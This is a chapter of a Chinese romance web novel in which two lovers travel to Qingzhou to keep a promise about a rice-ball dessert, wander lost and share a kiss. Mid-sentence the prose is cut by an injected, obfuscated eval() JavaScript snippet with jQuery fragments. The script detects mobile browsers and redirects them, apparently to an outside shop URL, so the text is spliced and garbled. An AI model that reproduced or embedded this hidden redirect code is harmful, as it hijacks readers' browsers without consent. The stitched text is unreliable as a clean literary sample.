63. 约定之事

作品:《逐山之盈

    陆方盈牵着南雾山走到树下,解开缰绳,看着她坐稳后,才把马绳递到她手里。


    “你还没说,要去哪里?”


    陆方盈翻身上马,“清州府,五日便到。”


    南雾山微微一愣,随即想起什么,眼中闪过一丝恍然。


    清州府,酒酿圆子。


    那是他们当初的约定,后来风波迭起,生死奔忙,她早已抛之脑后,却没想到,他还记得。


    五日后,清州府


    南雾山和陆方盈寻了一家客栈,安置好马匹后,才出门去寻最好吃的酒酿圆子。


    清州府和锦州是全然不同的风貌,这里河道纵横,石桥如月,白墙黑瓦的民居临水而建,窗台上摆放着各色花篮。


    甚至还未到秋日,空气中还弥漫着隐约的桂花香气,一路走来,才发现是清州府人的茶汤里都飘着干桂花。


    陆方盈牵着南雾山穿过熙攘的街市,他走得不快,目光不时扫过两侧的街铺招牌,像是在寻找什么。


    南雾山起初并未在意,直到他们第三次走过同一座石拱桥时,她才察觉出异样。


    陆方盈的脚步在桥头停住,望着桥下的乌篷船缓缓划过,他眉心微蹙,像是在努力回忆什么。


    “方盈。”南雾山轻声唤他,“忘记路了?”


    陆方盈转过头,眼中的迟疑一闪而过,随即笑道:“怎会,清州府最有名的那家酒酿圆子,就在……前面那条巷子里。”


    他语气笃定,可南雾山分明看见,他的目光快速地左右扫视,像是在众多岔路中随机选了一条。


    她没有戳破,只点点头:“好。”


    两人拐进那天青石板铺就的小巷,巷子不宽,两侧是高高的封火墙,墙上爬着些青苔。偶有木门虚掩,能瞥见院子里还晾晒着衣裳。


    走了约莫一炷香的时间,巷子到了尽头,却是一家卖竹编制品的铺子,老板娘正在门口编篮子,见他们过来,抬头笑了笑:“客人要买什么?”


    陆方盈的脚步顿住,脸上掠过一丝窘迫。


    南雾山心中了然,却安静地站在他身边,等他的反应。


    陆方盈清了清嗓子,“……请问,这附近最好吃的酒酿圆子,在哪里?”


    老板娘手上不停,竹篾在她指尖翻飞,“酒酿圆子?好吃的店铺多了去了,可分不出哪个最好吃。像是王婆婆家,桥头杨记,还有沈家甜水铺……”


    陆方盈的表情空白了一瞬。


    南雾山看得分明,他根本不知道清州府有哪些铺子卖酒酿圆子,更不知道哪家是最好吃的。


    从前他常年病魔缠身,最远不过去淳塘江上放空自己。之后陆方明去世,他也是急着去学武报仇。


    这最好吃的酒酿圆子,恐怕都是听来的,他其实从未来过清州府。


    这个认知像一滴温水,悄然滴落在南雾山的心湖中,漾开一圈圈涟漪。


    “沈家甜水铺在哪里?”南雾山先一步开口,得到老板娘的指路之后,拉着陆方盈的手,调头走出了巷子。


    陆方盈跟在她的身后,耳根发红,“小山,我不是有意欺瞒的……”


    南雾山握紧他的手,看着他满眼慌乱和歉意,“没关系,我们去尝尝看,到底哪家是最好吃的。”


    两人顺着老板娘所指的方向,一路问一路走。


    清州府的街巷如蛛网般密布,水道与陆路交错,他们不着急,索性放慢脚步,在陌生的城池里闲逛。


    南雾山跟在他身侧,看着他各色人等交谈,看他因听不懂当地方言而微微蹙眉,看他认真道谢的模样。


    这些琐碎平凡的瞬间,让她忽然感觉,回到了他们和席云一起赶路的日子,鲜活的、真实的陆方盈,再次回到了她身边。


    沈家甜水铺并不难找,老远就能看到他家门口排着十几人的队伍,甜糯的酒酿香气老远就能闻到。


    轮到他们时,南雾山只要了一碗。既然想多尝尝几家的,也不好一下吃多了,两人分着吃最为合适。


    热腾腾的青瓷碗端到手中时,莹白的圆子沉在浅琥珀色的酒汤里,面上撒着一层薄薄的干桂花,热气一蒸,甜香扑鼻。


    两人在临水的木桌边坐下,陆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918298|188674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    方盈没有立刻动勺,而是看着南雾山舀起一勺,送入口中。


    “怎么样?”他问,语气中还带着一丝紧张。


    圆子软糯适中,咬下去有微微弹性,米香纯粹,酒酿清甜,酒味含蓄,不会过分浓烈。桂花的香气恰到好处,不会喧宾夺主。


    谈不上什么惊为天人的味道,只是一碗扎实的、温暖的家常甜点。


    可她抬起头,对上陆方盈期待的目光时,认真点了点头:“很好吃。”


    陆方盈眼睛亮了起来,像是卸下了什么重担。他也舀起一口,送入口中,慢慢咽下,然后笑了起来:“确实好吃。比我听说的……还要好吃。”


    河风拂过,带来湿润的凉意。


    南雾山和陆方盈牵着手,继续向下一家店铺走去。


    “陆方盈。”南雾山突然开口,喊了他的全名。


    陆方盈侧首,认真望着她,“嗯?”


    “栖霞阙没有酒酿圆子。”她说,“我的意思是,山里清苦,只有野果、清泉,偶尔猎些山鸡野兔,大家修行刻苦,不重口腹之欲。”


    他静静听着。


    “但后山有一处野梅林,冬天开花时,我会采一些酿酒。只是总酿不好,不是太淡,就是太酸。”她顿了顿,“你若愿意,可以试试。”


    “好。”他说,“也许我也酿不好。”


    南雾山眼中浮起淡淡笑意:“没关系。”


    话音落下,她转身,微微仰头,在他浅笑的唇上,落下了一个很轻的吻。


    蜻蜓点水般,一触即分,带着酒酿的清甜和桂花的余香,还有独属于南雾山的气息。


    陆方盈浑身一震,眼睛蓦地睁大,他伸出手,刚想将人拥入怀中,加深这个吻,但南雾山已推开半步,唇角噙着笑意看着他。


    他感觉自己的心跳如擂鼓,耳根发烫,所有的注意力都被她夺走,只能痴痴地望着她。


    南雾山重新握住他的手,拉着他继续往前走。


    “若有空闲,我们可以下山吃些好的。”她说。


    总归不论去哪,我们都会一起。